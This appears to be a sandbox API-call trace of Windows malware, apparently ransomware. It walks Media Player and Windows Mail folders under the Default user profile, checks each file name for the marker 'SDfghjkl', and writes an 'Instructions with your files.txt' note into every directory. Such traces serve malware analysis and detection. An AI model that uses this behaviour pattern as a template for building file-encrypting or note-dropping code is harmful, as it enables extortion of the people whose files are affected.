[0132.183] StrStrIW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 125
[0132.183] StrStrIW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 127
[0132.183] StrStrIW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 122
[0132.183] StrStrIW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 123
[0132.184] StrStrIW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 122
[0132.184] StrStrIW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 116
[0132.184] StrStrIW (lpFirst="09_Music_played_the_most.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 104
[0132.184] StrStrIW (lpFirst="10_All_Music.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 107
[0132.184] StrStrIW (lpFirst="11_All_Pictures.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 104
[0132.184] StrStrIW (lpFirst="12_All_Video.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.184] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
[0132.184] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Instructions with your files.txt") returned 120
[0132.184] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0132.185] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0132.185] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0132.186] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0132.186] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0132.186] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0132.186] CloseHandle (hObject=0x124) returned 1
[0132.186] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0132.186] GetProcessHeap () returned 0x810000
[0132.186] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89bc00 | out: hHeap=0x810000) returned 1
[0132.186] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0
[0132.186] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Instructions with your files.txt") returned 111
[0132.186] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.186] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0132.187] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.187] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.187] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.188] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.188] CloseHandle (hObject=0x120) returned 1
[0132.188] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.188] GetProcessHeap () returned 0x810000
[0132.188] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.188] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
[0132.188] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Instructions with your files.txt") returned 105
[0132.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.188] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.189] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.189] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.189] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.190] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.190] CloseHandle (hObject=0x11c) returned 1
[0132.190] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.190] GetProcessHeap () returned 0x810000
[0132.190] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.192] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 0
[0132.192] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Instructions with your files.txt") returned 90
[0132.192] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.192] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.193] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.193] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.193] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.193] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.193] CloseHandle (hObject=0x118) returned 1
[0132.193] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.193] GetProcessHeap () returned 0x810000
[0132.193] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.193] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0132.194] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
[0132.194] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned 57
[0132.194] GetProcessHeap () returned 0x810000
[0132.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.194] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*") returned 59
[0132.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.195] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\.") returned 59
[0132.195] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.195] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\..") returned 60
[0132.195] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
[0132.196] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 113
[0132.196] StrStrIW (lpFirst="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpSrch="SDfghjkl") returned 0x0
[0132.196] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
[0132.196] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 113
[0132.196] StrStrIW (lpFirst="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpSrch="SDfghjkl") returned 0x0
[0132.196] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
[0132.196] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 113
[0132.196] StrStrIW (lpFirst="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpSrch="SDfghjkl") returned 0x0
